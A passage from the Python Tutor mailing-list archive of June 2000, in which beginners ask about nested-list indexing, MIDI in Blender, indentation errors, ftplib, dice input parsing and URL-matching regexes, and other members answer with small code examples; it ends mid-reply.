end: My background (in brief) {maybe not so brief - Sorry}


I have lately started doing some animation work in Macromedia Flash4 and =
Blender3D. I was reading the latter's manual and noticed it used Python.
Having a mad five minutes I wondered if midi (its' bitstreams) could be =
filtered into the Blender3D (www.blender.nl) environment via Python? =
Afterwhich I'd like to associated these streams to different object =
properties in the 3D environment, such as position, rotation and size.
=20
I have just started my ventures back into PC programming, but thought if =
I could mix all my interests together life might take on a new =
challenge. Maybe Python might be the glue thats needed.
=20
Hope you can help, I'm a rookie to this. All I want to be able to do is =
play some pretty good midi music and see a graphical world of objects =
come to life and be synched together.

All the best and kind regards,


Nic Brown


P.S. Sorry for rambling on :)




------=_NextPart_000_008D_01BFCEEC.C1D79CC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>Hi All,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2><FONT face=3D"Comic Sans MS" =
size=3D2><FONT=20
face=3D"Comic Sans MS" size=3D2>After chatting on numerous IRC channels, =
followed by=20
a&nbsp;tangent surf on the net I have arrived here.</FONT>
<DIV align=3Djustify><FONT face=3D"Comic Sans MS" =
size=3D2><U></U></FONT>&nbsp;</DIV>
<DIV align=3Djustify>&nbsp;</DIV>
<DIV align=3Djustify><FONT face=3D"Comic Sans MS" size=3D2><U>begin: My =
background (in=20
brief)</U></FONT></DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Djustify><FONT face=3D"Comic Sans MS" size=3D2>A PLC =
(Programmable Logic=20
  Controller e.g. Allen Bradley SLC-500) Programmer by trade, usually =
trying to=20
  code machine control in the Pharmaceutical Business. Bugged by forever =
ever=20
  changing user specifications. That's life...</FONT></DIV>
  <DIV align=3Djustify>&nbsp;</DIV>
  <DIV align=3Djustify>...About 2 years ago I did a course in Pascal, =
1yr @ Open=20
  University. Enjoyed it immensely, however, work got in the way and I =
didn't=20
  continue. Consequently, became very rusty. I could really kick myself=20
  sometimes.</DIV>
  <DIV align=3Djustify>&nbsp;</DIV>
  <DIV align=3Djustify>Recently started getting back into art (after 16 =
years),=20
  <FONT face=3D"Comic Sans MS" size=3D2>got some graphics packages and =
have been=20
  dabbling. Picked up my harmonica and started to play Beatles tracks on =
it=20
  (very badly though). Grabbed some midi tracks off the net, strangely =
enough,=20
  the Beatles ( a bit of the Who, Madness and Led Zeppelin thrown in for =
good=20
  measure).</FONT></DIV>
  <DIV align=3Djustify>&nbsp;</DIV>
  <DIV align=3Djustify>I'm thirty three now, married, have two girls, =
Becky(8) and=20
  Chloe (5). Currently self employed and unfortunately unemployed at =
present. No=20
  problem, life has a strange way of sorting itself out... Rock=20
On.</DIV></BLOCKQUOTE>
<DIV align=3Djustify>&nbsp;</DIV>
<DIV align=3Djustify>
<DIV align=3Djustify><FONT face=3D"Comic Sans MS" size=3D2><U>end: My =
background (in=20
brief)</U> {maybe not so brief - Sorry}</FONT></DIV></DIV>
<DIV align=3Djustify>&nbsp;</DIV>
<DIV align=3Djustify>&nbsp;</DIV>
<DIV align=3Djustify>I have lately started doing some animation work in =
Macromedia=20
Flash4 and Blender3D. I was reading the latter's manual and noticed it =
used=20
Python.</DIV>
<DIV align=3Djustify>Having a mad five minutes I wondered if midi (its'=20
bitstreams) could be filtered into the Blender3D (<A=20
href=3D"http://www.blender.nl">www.blender.nl</A>) environment via =
Python?=20
Afterwhich I'd like to associated these streams to different object =
properties=20
in the 3D environment, such as position, rotation and size.</DIV>
<DIV align=3Djustify><FONT face=3D"Comic Sans MS" =
size=3D2></FONT>&nbsp;</DIV>
<DIV align=3Djustify><FONT face=3D"Comic Sans MS" size=3D2>I have just =
started my=20
ventures back into PC programming, but thought if I could mix all my =
interests=20
together life might take on a new challenge. Maybe Python might be the =
glue=20
thats needed.</FONT></DIV>
<DIV align=3Djustify><FONT face=3D"Comic Sans MS" =
size=3D2></FONT>&nbsp;</DIV>
<DIV align=3Djustify><FONT face=3D"Comic Sans MS" size=3D2>Hope&nbsp;you =
can help, I'm=20
a rookie&nbsp;to this. All I want to be able to do is play some pretty =
good midi=20
music and see a graphical world of&nbsp;objects come to life and be =
synched=20
together.</FONT></DIV>
<DIV align=3Djustify>&nbsp;</DIV>
<DIV align=3Djustify><FONT face=3D"Comic Sans MS" size=3D2>All the best =
and kind=20
regards,</FONT></DIV>
<DIV align=3Djustify>&nbsp;</DIV>
<DIV align=3Djustify>&nbsp;</DIV>
<DIV align=3Djustify><FONT face=3D"Comic Sans MS" size=3D2>Nic =
Brown</FONT></DIV>
<DIV align=3Djustify>&nbsp;</DIV>
<DIV align=3Djustify>&nbsp;</DIV>
<DIV align=3Djustify>P.S. Sorry for rambling on =
:)</DIV></FONT></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_008D_01BFCEEC.C1D79CC0--



From wilson@visi.com  Mon Jun  5 14:03:25 2000
From: wilson@visi.com (Timothy Wilson)
Date: Mon, 5 Jun 2000 08:03:25 -0500 (CDT)
Subject: [Tutor] indexing lists
Message-ID: <Pine.GSO.4.10.10006050755120.22535-100000@isis.visi.com>

Hi everyone,

I'm wondering how, if even possible, you'd find the index of a given number
in the following list of lists:

l = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

I've been playing around with my little tic tac toe program, and I can't
decide whether to use this list of lists structure for the matrix or a
simpler [1, 2, 3, 4, 5, 6, 7, 8, 9] structure.

I think programming the strategy might be easier with the more 2-dimensional
list of lists. But finding which moves are possible involves determining
which places in the list are occupied by integers, not "X" or "O". I need to
do l.index(spam) for that. Unfortunately, I can't do l.index(5). I can do
l.index([1, 2, 3]), however. Is it possible to get at that 2nd layer of
lists through an index statement?

-Tim

--
Tim Wilson      | Visit Sibley online:         | Check out:
Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/
W. St. Paul, MN |                              | http://slashdot.org/
wilson@visi.com |   <dtml-var pithy_quote>     | http://linux.com/



From alan.gauld@bt.com  Mon Jun  5 14:00:23 2000
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Mon, 5 Jun 2000 14:00:23 +0100
Subject: [Tutor] (no subject)
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20751D177@mbtlipnt02.btlabs.bt.co.uk>

> I would like to thank everyone who helped me get
> started programing.
> 
> I was wondering if anyone could lets me see a program
> someone could let me have a sample program so i could
> see what u can really do with python

Look in the samples directory of the Python distribution.

also look at IDLE - it's written in Python... but might be 
a bit intimidating for a beginner! But it does illustrate 
what's possible!

Alan G.


From scorder@cinci.rr.com  Mon Jun  5 14:53:02 2000
From: scorder@cinci.rr.com (Sam Corder)
Date: Mon, 5 Jun 2000 09:53:02 -0400
Subject: [Tutor] indexing lists
In-Reply-To: <Pine.GSO.4.10.10006050755120.22535-100000@isis.visi.com>
Message-ID: <CPEKKMGLLILAJEKJNAPDCENLCAAA.scorder@cinci.rr.com>

I think it would be easiest to make a class that wraps a single list.  It
would have methods that would allow you to access it by row column values
and to pull back full rows or columns and maybe even diagonal lines like
[(1,1), (2,2), (3,3)].  It was easiest to code this out for me instead of
using a list of lists.  I would think that internally it would be more
effiecient as well.

def GetCell(Row, Col):
    return list[(Row * NumCols) + Col]

This will allow you to get at a coordinate in the "grid".  NumCols would be
2 in your case (0,1,2).  Wrapping this in a simple class will allow you to
get on with the rest of the program quickly.  If you need to change the
underlying implementation for some reason you will be safe as long as you
don't change the method interfaces.

-Sam

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
Timothy Wilson
Sent: Monday, June 05, 2000 9:03 AM
To: tutor@python.org
Subject: [Tutor] indexing lists


Hi everyone,

I'm wondering how, if even possible, you'd find the index of a given number
in the following list of lists:

l = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

I've been playing around with my little tic tac toe program, and I can't
decide whether to use this list of lists structure for the matrix or a
simpler [1, 2, 3, 4, 5, 6, 7, 8, 9] structure.

I think programming the strategy might be easier with the more 2-dimensional
list of lists. But finding which moves are possible involves determining
which places in the list are occupied by integers, not "X" or "O". I need to
do l.index(spam) for that. Unfortunately, I can't do l.index(5). I can do
l.index([1, 2, 3]), however. Is it possible to get at that 2nd layer of
lists through an index statement?

-Tim

--
Tim Wilson      | Visit Sibley online:         | Check out:
Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/
W. St. Paul, MN |                              | http://slashdot.org/
wilson@visi.com |   <dtml-var pithy_quote>     | http://linux.com/


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://www.python.org/mailman/listinfo/tutor



From uncle_wiggly@bigfoot.com  Mon Jun  5 14:50:43 2000
From: uncle_wiggly@bigfoot.com (K P)
Date: Mon, 5 Jun 2000 08:50:43 -0500
Subject: [Tutor] Midi->Python->Blender3D Questions
In-Reply-To: <009001bfcee4$72ef1640$9b01e5d4@NicBrown>
Message-ID: <393B69E3.6221.273AA4@localhost>

> Hi All,

Hi Nic :)
> 
> 
> After chatting on numerous IRC channels, followed by a tangent surf on =
> the net I have arrived here.

My appearance was due to a cosine*(tangent(pi*pi)/(rambling on 
and on)). The ebst place to be for python :)

> begin: My background (in brief)
>   A PLC (Programmable Logic Controller e.g. Allen Bradley SLC-500) =
> Programmer by trade, usually trying to code machine control in the =
> Pharmaceutical Business. Bugged by forever ever changing user =
> specifications. That's life...

Cool background.
>   I'm thirty three now, married, have two girls, Becky(8) and Chloe (5). =
> Currently self employed and unfortunately unemployed at present. No =
> problem, life has a strange way of sorting itself out... Rock On.

Hello becky, hello Chloe, do you want to learn Python also? 
> I have lately started doing some animation work in Macromedia Flash4 and =
> Blender3D. I was reading the latter's manual and noticed it used Python.
> Having a mad five minutes I wondered if midi (its' bitstreams) could be =
> filtered into the Blender3D (www.blender.nl) environment via Python? =
> Afterwhich I'd like to associated these streams to different object =
> properties in the 3D environment, such as position, rotation and size.

Last time I looked at Blender, the version using Python was 
available, will have to check it today. As for assigning (or 
associating) various midi's to object properties, a rather generic 
answer is: depends on what the Blender Programmers make 
available to script. Hopefully all aspects of the program can be 
programmed via Python. If they make enough of the API available 
to Python, one should be able to extend it to include your own 
functions, objects, etc. Generic I know, but I'm rather new at 
programming myself. I'll check out Blender to see if they add more.

Sorry couldn't help more at the moment.

ken


From arcege@shore.net  Mon Jun  5 17:34:30 2000
From: arcege@shore.net (Michael P. Reilly)
Date: Mon, 5 Jun 2000 12:34:30 -0400 (EDT)
Subject: [Tutor] indexing lists
In-Reply-To: <Pine.GSO.4.10.10006050755120.22535-100000@isis.visi.com> from "Timothy Wilson" at Jun 05, 2000 08:03:25 AM
Message-ID: <200006051634.MAA11656@northshore.shore.net>

> 
> Hi everyone,
> 
> I'm wondering how, if even possible, you'd find the index of a given number
> in the following list of lists:
> 
> l = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
> 
> I've been playing around with my little tic tac toe program, and I can't
> decide whether to use this list of lists structure for the matrix or a
> simpler [1, 2, 3, 4, 5, 6, 7, 8, 9] structure.
> 
> I think programming the strategy might be easier with the more 2-dimensional
> list of lists. But finding which moves are possible involves determining
> which places in the list are occupied by integers, not "X" or "O". I need to
> do l.index(spam) for that. Unfortunately, I can't do l.index(5). I can do
> l.index([1, 2, 3]), however. Is it possible to get at that 2nd layer of
> lists through an index statement?

Building a "Board" class can probably help you a great deal.

import types
from UserList import UserList

class Board(UserList):
  dimension = 3
  def __init__(self, dimension=None):
    UserList.__init__(self)
    if dimension is not None:
      self.dimension = int(dimension)
    # flesh out the board by putting in None's
    for i in range(self.dimension ** 2):
      self.append(None)
  def __getitem__(self, index):
    if isinstance(index, types.TupleType):
      (row, column) = index
      index = row * self.dimension + column
    return UserList.__getitem__(self, index)
  def __setitem__(self, index, value):
    if isinstance(index, types.TupleType):
      (row, column) = index
      index = row * self.dimension + column
    UserList.__setitem__(self, index, value)
  def index(self, value):
    position = UserList.index(self, value)
    row, column = divmod(position, self.dimension)
    return (row, column)

b = Board(4)
b[1,0] = 3
print b.index(3)
(1, 0)

Use the existing tools when you can, and think about what functions you
might need.  For example, clearing out the board.

  -Arcege


-- 
------------------------------------------------------------------------
| Michael P. Reilly, Release Manager  | Email: arcege@shore.net        |
| Salem, Mass. USA  01970             |                                |
------------------------------------------------------------------------


From andre@beta.telenordia.se  Mon Jun  5 21:15:32 2000
From: andre@beta.telenordia.se (=?iso-8859-1?Q?Andr=E9_Dahlqvist?=)
Date: Mon, 5 Jun 2000 22:15:32 +0200
Subject: [Tutor] String searching
In-Reply-To: <200006051036.TAA10910@osa.att.ne.jp>; from craig@osa.att.ne.jp on Mon, Jun 05, 2000 at 07:39:37PM +0900
References: <200006051036.TAA10910@osa.att.ne.jp>
Message-ID: <20000605221532.A15988@beta.telenordia.se>

> I recommend the documentation on regular expressions available from the
> Python site. It is pretty good at getting you up to speed. The relevant
> chapter in "Python: Essential Reference" (Beazley) is useful as well.

I've read the regex HOWTO on the python site, and it was a quiet well
written piece. Your introduction has also inspired me into learning
more about them.

> Is this text you are searching just plain text or is it marked up in html?

It's just plain text, but I studied the html regex too because that
will probably come in handy some day. You explained it very clearly.
It's not as hard as it looks:-)

> If the text you are seaching is plain text then it is no more difficult. You
> must think about how to specify the different cases. The Url could be
> surrounded by quotes or parenthesis, or brackets... but probably NOT by
> extraneous letters (ie (awordhttp:www.somewhere.comaword)

After investigating the findall method, and reading your intro to regex
I now have this short piece of code that has extracted all the links I
have given to it so far, even if they start with something like a
opening pharentesis:

getURLs = re.compile('((?:http|ftp)://[-.~/_?=#%\w]+\w)')
found_urls = getURL.findall(text)

Thank you so much for your help Craig!
-- 

// André


From Nigel@pauli.demon.co.uk  Mon Jun  5 22:38:57 2000
From: Nigel@pauli.demon.co.uk (Nigel Pauli)
Date: Mon, 05 Jun 2000 21:38:57 +0000 (GMT)
Subject: [Tutor] else syntax error problem
Message-ID: <49ca151c3eNigel@demon.co.uk>

I am having the strangest problem here.
I am completely new to python (and programming, really) and am happily
working my way through the van Laningham book. In the spirit of learning
by doing rather than just reading I have been typing in his excellent
screen shots [could be a tad larger for easier reading, mind you] and I've
come unstuck on the ones to do with else and elif. Here's what I see in my
*Python Shell* window when working through fig 4.8 which is an amusing
little number that does a rocket countdown leading to Blastoff!

 >>> for i in range(10,-1,-1):
          if i != 0:
                    print i
                    else:

 SyntaxError: invalid syntax
 >>>

What should continue after else is...
                    print "Blastoff!"

What it looks like is that the part of python that handles else and elif
is missing - but that's daft, isn't it? Is it significant that that else:
below print i isn't hanging indented to be back underneath the if 2 lines
above?

If it helps, I'm using Python 1.5.2 on Mandrake Linux 7.0.

Many thanks to anyone who can penetrate the fog for me on this one.

Nigel.


-- 
Nigel Pauli
Nigel@pauli.demon.co.uk


From ivanlan@home.com  Mon Jun  5 22:50:43 2000
From: ivanlan@home.com (Ivan Van Laningham)
Date: Mon, 05 Jun 2000 15:50:43 -0600
Subject: [Tutor] else syntax error problem
References: <49ca151c3eNigel@demon.co.uk>
Message-ID: <393C20B2.8E1E63AB@home.com>

Hi All--

Nigel Pauli wrote:
> 
> I am having the strangest problem here.
> I am completely new to python (and programming, really) and am happily
> working my way through the van Laningham book. In the spirit of learning
> by doing rather than just reading I have been typing in his excellent
> screen shots [could be a tad larger for easier reading, mind you]

I'll say.  I'm looking into redoing them for the second printing;
failing that, I will try to put larger versions on the book's website.

> and I've
> come unstuck on the ones to do with else and elif. Here's what I see in my
> *Python Shell* window when working through fig 4.8 which is an amusing
> little number that does a rocket countdown leading to Blastoff!
> 
>  >>> for i in range(10,-1,-1):
>           if i != 0:
>                     print i
>                     else:
> 
>  SyntaxError: invalid syntax
>  >>>
> 
> What should continue after else is...
>                     print "Blastoff!"
> 
> What it looks like is that the part of python that handles else and elif
> is missing - but that's daft, isn't it? Is it significant that that else:
> below print i isn't hanging indented to be back underneath the if 2 lines
> above?
> 
> If it helps, I'm using Python 1.5.2 on Mandrake Linux 7.0.
> 
> Many thanks to anyone who can penetrate the fog for me on this one.
> 

Here's a transcript of an interactive session:

25 [/c/temp/PyXML-0.5.4/extensions][183] python
Python 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> for i in range(10,-1,-1):
...  if i!=0:
...   print i
...  else:
...   print "Blastoff"
...
10
9
8
7
6
5
4
3
2
1
Blastoff
>>>

Notice that while Python obligingly lets you know that you need indent
levels by printing the "..." prompt, it does not guess at what level you
want to use (it can't, otherwise it would be too smart to live).  In the
example above, I simply used one space for each indent level.  "for
i..." is at 0; "if i!=0:" is at one, "print i" is at two, and the
"else:" line *must* match the indent level for "if i!=0:", so it has to
be one.  Use the backspace key.  "print Blastoff" line is back to indent
level two.

Hope this helps,
Ivan
----------------------------------------------
Ivan Van Laningham
Axent Technologies, Inc.
http://www.pauahtun.org 
http://www.foretec.com/python/workshops/1998-11/proceedings.html
Army Signal Corps:  Cu Chi, Class of '70
Author:  Teach Yourself Python in 24 Hours


From doubletwist@spack.nu  Mon Jun  5 14:42:59 2000
From: doubletwist@spack.nu (doubletwist@spack.nu)
Date: Mon, 5 Jun 2000 06:42:59 -0700 (PDT)
Subject: [Tutor] Entering a list of numbers
Message-ID: <Pine.LNX.4.21.0006050634490.21178-100000@snoopy.spack.nu>

I am quite new to python as well as programming in general.
I've decided that for my first sort of 'assignment' to attempt to create a
python program for playing yahtzee. [Text at first, later perhaps to
attempt it graphically]

I'm still fairly early in the program but have gotten stuck. I created a
function to do the initial roll of the dice with no problem.
Now I'm trying to make a function for the input of which dice the user
wants to roll again. [ie enter which dice [1-6] they want to re-roll]

I'd like to have the user just enter the numbers separated by commas. The
only way I've figured out to do it is have the input entered into a tuple,
then transcribed to a list, but if they just enter one number [and thus no
comma] the conversion to a list fails with:
	
	
	Traceback (innermost last):
  	File "temp.py", line 40, in ?
    	rerolled = rollagain()
  	File "temp.py", line 25, in rollagain
    	while count < len(entered):
	TypeError: len() of unsized object

Is there an easier way of doing this? Or would I just be better off using
a loop of some sort and just having them enter each number followed by a
return?

My code as it stands follows... the function is called with :

rerolled = rollagain()

Thanks,
Doubletwist

---CODE BELOW----

def rollagain():
        elist = []
        entered = ()
        count = 0
        print "Which dice would you like to re-roll?"
        print "Separate with commas. Enter 99 to keep all dice"
        entered = input()
        while count < len(entered):
                elist.append(entered[count])
                count = count + 1
        return elist

 



From deirdre@deirdre.net  Mon Jun  5 22:56:48 2000
From: deirdre@deirdre.net (Deirdre Saoirse)
Date: Mon, 5 Jun 2000 14:56:48 -0700 (PDT)
Subject: [Tutor] else syntax error problem
In-Reply-To: <49ca151c3eNigel@demon.co.uk>
Message-ID: <Pine.LNX.4.10.10006051456070.1933-100000@rockhopper.deirdre.org>

On Mon, 5 Jun 2000, Nigel Pauli wrote:

>  >>> for i in range(10,-1,-1):
>           if i != 0:
>                     print i
>                     else:
> 
>  SyntaxError: invalid syntax
>  >>>
> 
> What should continue after else is...
>                     print "Blastoff!"
> 
> What it looks like is that the part of python that handles else and elif
> is missing - but that's daft, isn't it? Is it significant that that else:
> below print i isn't hanging indented to be back underneath the if 2 lines
> above?

Yes. It needs to be at the same indentation level as the if.

-- 
_Deirdre   *   http://www.sfknit.org   *   http://www.deirdre.net
"Linux means never having to delete your love mail." -- Don Marti



From shaleh@valinux.com  Mon Jun  5 23:45:22 2000
From: shaleh@valinux.com (Sean 'Shaleh' Perry)
Date: Mon, 05 Jun 2000 15:45:22 -0700 (PDT)
Subject: [Tutor] indirect reference
Message-ID: <XFMail.20000605154522.shaleh@valinux.com>

How do I:

foo = 'Hello'
bar = foo

somehow change the value of foo via bar?


From andresg@umich.edu  Tue Jun  6 06:43:52 2000
From: andresg@umich.edu (Andres Gelabert)
Date: Tue, 6 Jun 2000 01:43:52 -0400
Subject: [Tutor] ftplib
References: <002e01bfcec2$e4332e80$32b04bcf@umich.edu> <20000605110106.B21823@pino.selwerd.nl>
Message-ID: <002b01bfcf7a$33748fe0$33b74bcf@umich.edu>

By all means:

from ftplib import FTP
ftp = FTP()
ftp.connect("OtherServer")
ftp.login("AccountOnOtherServer", "CorrespondingPassword")
ftp.cwd("DirectoryIWant")
ftp.retrbinary("retr DesiredFile", open("DesiredFile", "wb").write)

# The above results in the file's successful transfer
# Now, I try only one of the following, with the described respective errors

quit()
close()
sendcmd("bye")


----- Original Message -----
From: Remco Gerlich <scarblac@pino.selwerd.nl>
To: <tutor@python.org>
Sent: Monday, June 05, 2000 5:01 AM
Subject: Re: [Tutor] ftplib


> On Mon, Jun 05, 2000 at 03:51:42AM -0400, Andres Gelabert wrote:
> > Greetings,
> > I'm new to both Python and this list.  My first program involves using
ftp to transfer files from one NT server to another one.  The files transfer
successfully, but the quit() command produces "TypeError: call of
non-function (type string)," whereas close() and sendcmd('bye') produce
NameErrors.
> > I'd appreciate someone's pointing out what I'm doing wrong.
>
> Could you post some code where you have the problem?
>
> --
> Remco Gerlich,  scarblac@pino.selwerd.nl
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://www.python.org/mailman/listinfo/tutor



From Nigel@pauli.demon.co.uk  Tue Jun  6 11:41:23 2000
From: Nigel@pauli.demon.co.uk (Nigel Pauli)
Date: Tue, 06 Jun 2000 10:41:23 +0000 (GMT)
Subject: [Tutor] else syntax error problem
Message-ID: <49ca5cbe75Nigel@demon.co.uk>

Thanks very much for all those helpful replies.

I've certainly learnt [once bitten twice shy] that indentation in Python
does matter.

I've also made a note for future reference of Craig's tip to set the
editor to 'show invisibles' to see the difference between spaces and tabs
if all else seems to be failing.

Thanks Ivan, for writing your book and I'd very much appreciate having the
screenshots in larger format collected together on the book's website.

Nigel.


-- 
Nigel Pauli
Nigel@pauli.demon.co.uk


From scarblac@pino.selwerd.nl  Tue Jun  6 11:56:25 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Tue, 6 Jun 2000 12:56:25 +0200
Subject: [Tutor] ftplib
In-Reply-To: <002b01bfcf7a$33748fe0$33b74bcf@umich.edu>; from andresg@umich.edu on Tue, Jun 06, 2000 at 01:43:52AM -0400
References: <002e01bfcec2$e4332e80$32b04bcf@umich.edu> <20000605110106.B21823@pino.selwerd.nl> <002b01bfcf7a$33748fe0$33b74bcf@umich.edu>
Message-ID: <20000606125625.A23505@pino.selwerd.nl>

On Tue, Jun 06, 2000 at 01:43:52AM -0400, Andres Gelabert wrote:
> By all means:
> 
> from ftplib import FTP
> ftp = FTP()
> ftp.connect("OtherServer")
> ftp.login("AccountOnOtherServer", "CorrespondingPassword")
> ftp.cwd("DirectoryIWant")
> ftp.retrbinary("retr DesiredFile", open("DesiredFile", "wb").write)
> 
> # The above results in the file's successful transfer
> # Now, I try only one of the following, with the described respective errors
> 
> quit()
> close()
> sendcmd("bye")

You need to tell Python where to find those commands, ie in the 'ftp'
object, just like the other commands. Ie, ftp.quit(), ftp.close(), and
ftp.sendcmd().

In the interpreter, 'quit' is actually initialized to the string 'Use Ctrl-D
(i.e. EOF) to exit.'. Therefore, you get an error when you try to use it as 
a function. I didn't know about that. Odd.

The others are simply unknown in this namespace, so you get a NameError.

-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From scarblac@pino.selwerd.nl  Tue Jun  6 12:11:02 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Tue, 6 Jun 2000 13:11:02 +0200
Subject: [Tutor] Entering a list of numbers
In-Reply-To: <Pine.LNX.4.21.0006050634490.21178-100000@snoopy.spack.nu>; from doubletwist@spack.nu on Mon, Jun 05, 2000 at 06:42:59AM -0700
References: <Pine.LNX.4.21.0006050634490.21178-100000@snoopy.spack.nu>
Message-ID: <20000606131102.B23505@pino.selwerd.nl>

On Mon, Jun 05, 2000 at 06:42:59AM -0700, doubletwist@spack.nu wrote:
> I'm still fairly early in the program but have gotten stuck. I created a
> function to do the initial roll of the dice with no problem.
> Now I'm trying to make a function for the input of which dice the user
> wants to roll again. [ie enter which dice [1-6] they want to re-roll]
> 
> I'd like to have the user just enter the numbers separated by commas. The
> only way I've figured out to do it is have the input entered into a tuple,
> then transcribed to a list, but if they just enter one number [and thus no
> comma] the conversion to a list fails with:
> 	
> 	Traceback (innermost last):
>   	File "temp.py", line 40, in ?
>     	rerolled = rollagain()
>   	File "temp.py", line 25, in rollagain
>     	while count < len(entered):
> 	TypeError: len() of unsized object

That's because simply "1" is an integer, not a tuple. "1," works.
But this is a silly way to do it, see below.

> Is there an easier way of doing this? Or would I just be better off using
> a loop of some sort and just having them enter each number followed by a
> return?
> 
> My code as it stands follows... the function is called with :
> 
> rerolled = rollagain()
> 
> Thanks,
> Doubletwist
> 
> ---CODE BELOW----
> 
> def rollagain():
>         elist = []
>         entered = ()
>         count = 0
>         print "Which dice would you like to re-roll?"
>         print "Separate with commas. Enter 99 to keep all dice"
>         entered = input()
>         while count < len(entered):
>                 elist.append(entered[count])
>                 count = count + 1
>         return elist

input() should only be used to enter any Python expression, like in
the interpreter. It doesn't really have a place in normal programs, imo.
People can enter any expression - including commands that wipe all your
files, and so on...

Use raw_input() to get a string, then get the info you want from that.

def rollagain()
   print "Which dice would you like to re-roll?"
   entered = raw_input("Separate with commas. Enter 99 to keep all dice.")
   
   import string
   # Split on comma - "3,4,5" results in ["3","4","5"]
   elist = string.split(entered, ",")
   # Turn all elements into integers
   elist = map(int, elist)
      
   return elist
   
   
Something like that will work better.

Btw, if you want to turn a tuple into a list, just use elist = list(entered).

And even if you did want a loop for it,

for e in entered:
   elist.append(e)
   
Is a bit more Pythonic than using a count and a while loop :-)

-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From scarblac@pino.selwerd.nl  Tue Jun  6 12:13:45 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Tue, 6 Jun 2000 13:13:45 +0200
Subject: [Tutor] indirect reference
In-Reply-To: <XFMail.20000605154522.shaleh@valinux.com>; from shaleh@valinux.com on Mon, Jun 05, 2000 at 03:45:22PM -0700
References: <XFMail.20000605154522.shaleh@valinux.com>
Message-ID: <20000606131345.C23505@pino.selwerd.nl>

On Mon, Jun 05, 2000 at 03:45:22PM -0700, Sean 'Shaleh' Perry wrote:
> How do I:
> 
> foo = 'Hello'
> bar = foo
> 
> somehow change the value of foo via bar?

You can't, because strings are immutable. Put it in a class or so and give
the class a method to change its string. Then let foo and bar be the same
instance.

class ChangingString:
   def __init__(self, s):
      self.s = s

foo = ChangingString('Hello')
bar = foo
bar.s = 'Whee'
# foo.s == 'Whee' now

-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From alan.gauld@bt.com  Tue Jun  6 12:54:08 2000
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Tue, 6 Jun 2000 12:54:08 +0100
Subject: [Tutor] Spaqnish tutor online now
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20751D181@mbtlipnt02.btlabs.bt.co.uk>

Hi folks,

Thanks to Martin Pozzi I now have the first few chapters of 
my online tutor in Spanish.

Links are available from the english contents frame and front 
page or you can visit directly at:

http://www.crosswinds.net/~agauld/spanish/index.htm

Feedback on the translation should probably go to Martin
(his mailto is on the first page) but I can take it too.

The missing chapters will be added just as soon as Martin 
finishes translating them and I upload them!

Alan G. 


From scarblac@pino.selwerd.nl  Tue Jun  6 12:54:59 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Tue, 6 Jun 2000 13:54:59 +0200
Subject: [Tutor] String searching
In-Reply-To: <20000604171520.A8281@beta.telenordia.se>; from andre@beta.telenordia.se on Sun, Jun 04, 2000 at 05:15:20PM +0200
References: <20000604171520.A8281@beta.telenordia.se>
Message-ID: <20000606135459.D23505@pino.selwerd.nl>

On Sun, Jun 04, 2000 at 05:15:20PM +0200, André Dahlqvist wrote:
> > > >>> word = "http://www.fenx.com"
> > > >>> import string
> > > >>> if string.split(word,'://')[0] in ('http','ftp'):
> 
> I mentioned earlier that this solution worked good for my needs,

And I mentioned before that this exact version doesn't work because it
falsely matches the words 'http' and 'ftp'...

> but I
> have now found a case which I would need for it to handle, but it
> doesn't. Most of the links in the text that I am searching are
> separated from the rest of the text with a space, like this: "For more
> info see http://www.somelink.com .", which is as I see it an attempt to
> ease extraction. But in a few places in the text there are links
> enclosed in parenthesis where they haven't put a space at the end nor
> the beginning: "(http://www.somelink.com)"

Yes. People use <> for that a lot too. Not [], since that can occur in URLs.

> Earlier in this thread Craig mentioned that it would probably be best
> to use regular expressions, and because of the problems mentioned above
> I think they are what I need.

Right. Until you walk into the next problem, but they will do ok :)

> So I read up on regular expressions, and
> found a solution that could find the URLs in the text. But since I am
> not very good at regular expressions I can not come up with one that
> correctly handles the above mentioned problems. That is, I would like
> it to find links even if they are like "(http://www.link.com)" or when
> a dot is placed right after the link.

You can't strip the dot - what if the dot is part of the URL? That's
completely legal.

> Then I want to extract this link,
> but _only_ the part of it that is actually the link (not the
> surrounding parenthesis for an example.)
> 
> Sorry for the long explanation, I wanted to make sure I correctly
> described what I wanted to do.

Ok, we want a regex to match:
1. whitespace, ( or <
2. http or ftp
3. ://
4. some characters that aren't whitespace, (, ), < or >
5. whitespace, > or ), or < ( (in case of http://foo<http://bar>, two urls).

First try:
